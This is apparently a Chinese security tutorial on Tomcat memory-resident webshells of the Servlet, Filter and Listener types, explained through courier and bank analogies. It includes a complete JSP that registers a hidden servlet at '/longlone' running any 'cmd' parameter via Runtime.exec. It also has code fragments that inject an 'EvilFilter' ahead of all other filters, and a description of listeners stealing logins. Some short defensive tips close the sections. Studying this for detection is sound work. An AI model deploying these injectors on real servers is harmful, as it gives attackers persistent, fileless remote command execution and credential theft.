Tomcat内存马
Tomcat-Servlet
首先回顾下Tomcat与Servlet的关系
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
我还是用大白话更好理解这个比较抽象的概念
用 「快递公司」 的比喻秒懂这四个组件的关系👇
一、Engine(引擎)——快递总公司
比喻:Engine 就像快递公司的 全国调度中心,掌握着所有分公司的信息。
核心功能:
- 统筹全局:当包裹(HTTP请求)到达总公司,Engine 根据快递单上的 收件城市(域名)决定发往哪个区域分拣中心(Host)
- 保底机制:如果遇到写着「火星市」这种不存在的地址,就自动转给 默认分拣中心(defaultHost)处理
- 多线运营:可以管理北京、上海、广州等多个分拣中心(每个 Host 对应一个城市)
举个栗子🌰:
当你在淘宝下单,快递总部分析收货地址是「上海市」,就把包裹交给上海分拣中心处理。
二、Host(虚拟主机)——区域分拣中心
比喻:Host 是 城市级分拣中心,比如上海分拣中心、北京分拣中心。
核心功能:
- 地址解析:根据快递单上的 详细地址(URL路径),找到对应的小区快递站(Context)
- 多站管理:一个分拣中心可以管理多个快递站(如上海分拣中心管理浦东站、虹桥站等)
- 规则手册:分拣中心有本《快递处理指南》(web.xml),告诉员工遇到不同地址怎么处理
举个栗子🌰:
上海分拣中心收到写着「浦东新区张江路123号」的包裹,匹配到张江快递站。
三、Context(上下文)——小区快递站
比喻:Context 就像你家小区的 菜鸟驿站,管理着本小区的所有快递。
核心功能:
- 包裹分类:驿站根据快递单号(URL路径)把包裹分给不同快递员(Servlet)
- 资源管理:驿站有货架(Servlet容器)、监控系统(Listener)、消毒设备(Filter)等全套设施
- 应急处理:如果遇到没有标注快递员的包裹,就按《默认派送规则》(web.xml)处理
举个栗子🌰:
张江驿站收到标注「3栋502王先生」的包裹,交给负责3栋的快递员小王。
四、Wrapper(包装器)——快递员
比喻:Wrapper 就是 负责送货的快递小哥,每个小哥专送一栋楼。
核心功能:
- 专属服务:每个快递员只负责特定楼栋(一个 Wrapper 对应一个 Servlet 类)
- 全流程管理:从接单→取货→送货→签收(Servlet 的 init()→service()→destroy())全程跟进
- 不可分割:快递员不能把自己的片区再分包给别人(Wrapper 不能有子容器)
举个栗子🌰:
快递员小王接到3栋502的订单,从驿站取件→送货→让客户签收。
五、四者协作流程图
浏览器下单 → 总公司(Engine) → 上海分拣中心(Host) → 张江驿站(Context) → 3栋快递员(Wrapper) |
六、一句话总结
• Engine 是看快递单 收件城市 的总调度
• Host 是按 详细地址 找快递站的导航仪
• Context 是管理 小区内所有快递 的驿站
• Wrapper 是负责 送货到门 的快递小哥
就像快递网络需要层层分拣,Tomcat 通过这四层容器精准路由每个请求
其中webapps文件夹即是我们的Host,webapps中的文件夹(如examples/ROOT)代表一个Context,每个Context内包含Wrapper,Wrapper 则负责管理容器内的 Servlet。
因为这里配置环境有点麻烦我直接拿文章进行
解释下Servlet的生命周期
Servlet初始化流程分
- 通过 context.createWapper() 创建 Wapper 对象
- 设置 Servlet 的 LoadOnStartUp 的值(后续分析为什么动态注册Servlet需要设置该属性)
- 设置 Servlet 的 Name
- 设置 Servlet 对应的 Class
- 将 Servlet 添加到 context 的 children 中
- 将 url 路径和 servlet 类做映射
内存马实现流程分析#
根据上述的流程分析,我们可以模仿上述的加载机制手动注册一个servlet:
找到StandardContext
继承并编写一个恶意servlet
通过 context.createWapper() 创建 Wapper 对象
设置 Servlet 的 LoadOnStartUp 的值
设置 Servlet 的 Name
设置 Servlet 对应的 Class
将 Servlet 添加到 context 的 children 中
将 url 路径和 servlet 类做映射
leran from:https://www.cnblogs.com/erosion2020/p/18575039
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%
class S implements Servlet{
public void init(ServletConfig config) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
}
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
%>
<%
// ServletContext servletContext = request.getServletContext();
// Field appctx = servletContext.getClass().getDeclaredField("context");
// appctx.setAccessible(true);
// ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// Field stdctx = applicationContext.getClass().getDeclaredField("context");
// stdctx.setAccessible(true);
// StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 更简单的方法 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
S servlet = new S();
String name = servlet.getClass().getSimpleName();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/longlone", name);
out.println("inject success");
%>Servlet 内存马 并不是 “纯粹” 的内存马,它并没有完全达到内存马的无文件落地的特点。确实,内存马的原始意图是通过仅在内存中运行,避免文件系统的存在或痕迹,但通过 JSP 文件或其他形式的恶意文件载入和触发,Servlet 内存马仍然需要依赖于初始的文件落地和 Tomcat 重新加载。这使得它与传统的内存马(完全在内存中执行,不依赖于文件)有所不同。
Tomcat-Filter
我们先来了解一下在Tomcat中与Filter密切相关的几个类:
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
- WebXml:存放 web.xml 中内容的类
- ContextConfig:Web应用的上下文配置类
- StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
一、关键角色对照表
Tomcat类 | 快递分拣中心比喻 | 核心作用 |
---|---|---|
FilterDefs | 分拣员档案库 📁 | 存所有分拣员(Filter)的身份证(名称、类名、初始化参数) |
FilterConfigs | 分拣员工作手册 📖 | 存分拣员的工作指南(Filter实例 + 配置信息) |
FilterMaps | 分拣规则表 📋 | 记录哪些分拣员负责哪些区域的包裹(URL匹配规则) |
FilterChain | 分拣流水线 🚚 | 控制包裹依次经过多个分拣员处理 |
WebXml | 官方分拣规则总纲 📜 | 从web.xml里解析出来的原始规则(静态配置) |
ContextConfig | 分拣中心配置部 🛠️ | 根据总纲(WebXml)生成实际的分拣规则 |
StandardContext | 分拣中心管理系统 💻 | 统筹所有分拣员、包裹流转、规则执行 |
StandardWrapperValve | 包裹派送员 🚚 | 最终把包裹送到收件人(Servlet)手里 |
二、Filter处理流程(包裹分拣版)
假设一个快递(HTTP请求)进入分拣中心(Tomcat):
1️⃣ 查分拣规则表(FilterMaps)
• 系统根据快递单地址(URL路径),从 分拣规则表 里找出要经过哪些分拣员(Filter顺序)
• 比如上海的包裹要经过:安检员→消毒员→分类员
2️⃣ 组装配送流水线(FilterChain)
• 按查到的顺序,把对应的分拣员(Filter)排成流水线:
chain = [安检Filter, 消毒Filter, 分类Filter]
```
• 最后一步交给派送员(StandardWrapperValve)处理
3️⃣ **分拣员逐个处理(doFilter)**
每个分拣员按自己的职责操作包裹(Request/Response):
• **安检员**:拆开包裹看有没有违禁品(检查请求头)
• **消毒员**:给包裹喷消毒液(参数过滤)
• **分类员**:贴上区域标签(添加响应头)
4️⃣ **触发下一环节**
每个分拣员处理完都会喊:“下一个!”(调用 `chain.doFilter()`),直到:
• **正常流程**:所有分拣员处理完 → 包裹交给派送员(Servlet)
• **异常流程**:某个分拣员发现炸弹(拦截请求) → 直接退回(返回403错误)
---
### **三、动态注册Filter(安插内鬼分拣员)**
黑客要安插一个 **“偷拍包裹信息”** 的恶意分拣员(内存马Filter):
1. **伪造档案**(操作FilterDefs)
```java
filterDef = new FilterDef();
filterDef.setFilterName("间谍分拣员");
filterDef.setFilterClass(EvilFilter.class);
相当于在档案库里塞入假身份
绑定分拣区域(操作FilterMaps)
filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 监听所有包裹
filterMap.setFilterName("间谍分拣员");修改分拣规则表,让所有包裹都经过这个内鬼
设置最高优先级
filterMap.setDispatcher(DispatcherType.REQUEST);
context.addFilterMapBefore(filterMap); // 插队到所有分拣员前面让内鬼第一个处理包裹,方便窃取数据
四、防御关键点
盯紧档案库(监控FilterDefs)
定期检查分拣员档案库,有没有来路不明的新员工(未在web.xml声明的Filter)审查分拣规则表(分析FilterMaps)
用工具扫描是否有监听/*
的高危分拣员(比如冰蝎/哥斯拉特征Filter)限制权限
分拣员不该有拆包裹的权限(禁止Filter调用Runtime.exec()
等危险API)
一句话总结
Tomcat的Filter机制就像 「快递分拣流水线」,每个环节的分拣员(Filter)按规则检查包裹(请求),而内存马就是黑客安插在流水线上的内鬼,偷偷拆看你的快递!
- 获取StandardContext
- 继承并编写一个恶意filter
- 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
- 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
- 通过反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中
<!-- tomcat 8 --> |
用 「在快递流水线安插内鬼」 的比喻来解释 Filter型内存马 的实现原理,保证你秒懂👇
一、实现步骤拆解(内鬼渗透全流程)
1. 找到分拣中心控制室(获取 StandardContext)
• 操作目标:获取 Tomcat 的 StandardContext
对象(相当于快递公司的总调度系统)
• 实现方式:
通过反射从 Thread.currentThread().getContextClassLoader()
或 request.getServletContext()
等途径逆向获取
• 关键性:
就像黑客必须先拿到快递公司总部的门禁卡,否则后续操作无从进行
2. 训练冒牌分拣员(编写恶意 Filter)
• 代码示例:
public class EvilFilter implements Filter {
public void doFilter(...) {
// 检测攻击指令(如请求参数含 cmd=whoami)
if (request.getParameter("cmd") != null) {
// 执行系统命令并返回结果
Runtime.getRuntime().exec(...);
}
chain.doFilter(...); // 放行请求
}
}
• 伪装技巧:
让冒牌分拣员(Filter)看起来像正常员工,但暗中执行窃听或破坏
3. 伪造分拣员档案(创建 FilterDef)
• 操作步骤:
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("SecurityCheck"); // 伪装成安检员
filterDef.setFilterClass(EvilFilter.class);
standardContext.addFilterDef(filterDef); // 塞入分拣员档案库
• 作用:
相当于在快递公司的员工档案库中伪造一份「安检员」的档案
4. 篡改分拣规则表(创建 FilterMap)
• 关键代码:
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 监听所有包裹路径
filterMap.setFilterName("SecurityCheck");
standardContext.addFilterMapBefore(filterMap); // 插队到规则表首位
• 为何要放首位:
确保冒牌分拣员最先接触包裹(优先处理请求),方便拦截或篡改数据
5. 激活冒牌分拣员(创建 FilterConfig)
• 核心代码:
// 反射获取 filterConfigs(需根据Tomcat版本调整)
Field configsField = standardContext.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map<String, FilterConfig> filterConfigs = (Map) configsField.get(standardContext);
// 生成冒牌员工的工作证
FilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);
filterConfigs.put("SecurityCheck", filterConfig);
• 核心作用:
给冒牌分拣员颁发「工作证」(FilterConfig),让分拣系统认为他是合法员工
二、为什么能实现内存驻留?
技术点 | 类比解释 | 绕过检测的关键 |
---|---|---|
不落地文件 | 冒牌分拣员没有纸质档案(无.class文件) | 传统杀毒软件只查档案库,无法发现内存中的幽灵员工 |
寄生在StandardContext | 内鬼信息写入快递公司总部的调度系统(内存对象) | Tomcat重启前恶意配置会一直生效 |
动态注册机制 | 利用Tomcat允许临时工(动态Filter)的合法功能 | 管理员很难区分正常动态注册和恶意注入 |
三、完整攻击流程图
浏览器请求 → Tomcat接收请求 |
四、防御要点
监控StandardContext变动:
定期检查filterDefs
和filterMaps
是否有未授权的新增条目禁用高危API:
通过安全策略限制Runtime.exec()
等危险方法的调用使用RASP防护:
在应用层部署运行时防护(类似在分拣流水线装X光机)
一句话总结
Filter型内存马就像 「寄生在Tomcat大脑中的木马病毒」,通过篡改内存中的配置数据实现无文件驻留,是Web安全领域的顶级渗透手法!
Tomcat-Listener
在Java WEB中,三组件的执行顺序是Listener -> Filter -> Servlet。
Tomcat中的Listener来源于两部分:一是从web.xml
配置文件中实例化的Listener,这部分我们无法控制;二是applicationEventListenersList
中的Listener,后者是我们可以控制的。只需向applicationEventListenersList
中添加恶意Listener,即可实现目标。
Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
和之前 Filter 型内存马的原理其实是一样的,之前我们说到 Filter 内存马需要定义一个实现 Filter 接口的类,Listener 也是一样
<%@ page contentType="text/html;charset=UTF-8" language="java" %> |
一、Listener内存马是什么?
比喻:银行的 「实时账目监控系统」(Listener)被黑客替换成卧底会计,每当有资金流动(事件触发)时,卧底就会偷偷复制账本(窃取数据)或篡改交易(执行恶意代码)。
核心特点:
• 无文件:卧底会计没有劳动合同(无.class文件)
• 寄生在内存:直接篡改银行的监控系统配置(StandardContext)
• 事件驱动:只在特定业务发生时触发(如新客户开户、大额转账)
二、实现步骤(卧底会计渗透流程)
1. 混入银行总部(获取StandardContext)
// 通过反射获取Tomcat的"账目管理中心" |
相当于黑客买通银行内部人员,拿到监控系统的管理权限
2. 培训卧底会计(编写恶意Listener)
public class EvilListener implements ServletRequestListener { |
卧底会计表面在做正常账目登记,实际在记录敏感信息
3. 伪造员工档案(注册Listener到StandardContext)
// 创建卧底会计的工牌 |
现在银行的监控系统认为这是合法员工,会向其推送所有账目变动
三、为什么能长期潜伏?
技术手段 | 现实比喻 | 绕过安检的关键 |
---|---|---|
寄生在StandardContext | 卧底会计的信息直接写入银行核心系统 | 传统检查只查纸质档案,发现不了内存中的配置 |
无class文件落地 | 没有劳动合同,只有口头入职 | 杀毒软件扫描文件时一无所获 |
利用合法事件触发 | 只在办业务时动手,平时伪装正常 | 管理员很难区分正常账目操作和恶意行为 |
四、常见攻击场景
窃取登录凭证
当用户发起登录请求时(触发ServletRequest
事件),卧底会计记录账号密码。内网渗透
监听每次请求,检测到特定参数(如?cmd=whoami
)时执行系统命令。数据篡改
在响应返回前(触发ServletResponse
事件),修改页面内容插入恶意JS。
五、防御口诀
🔍 监控Listener列表:定期检查银行人事系统(StandardContext)是否有陌生会计
🛡️ 禁用高危API:禁止会计使用复印机(禁止JNI调用、反射等)
📜 最小化权限:会计只能查看自己负责的账目(沙箱环境运行Tomcat)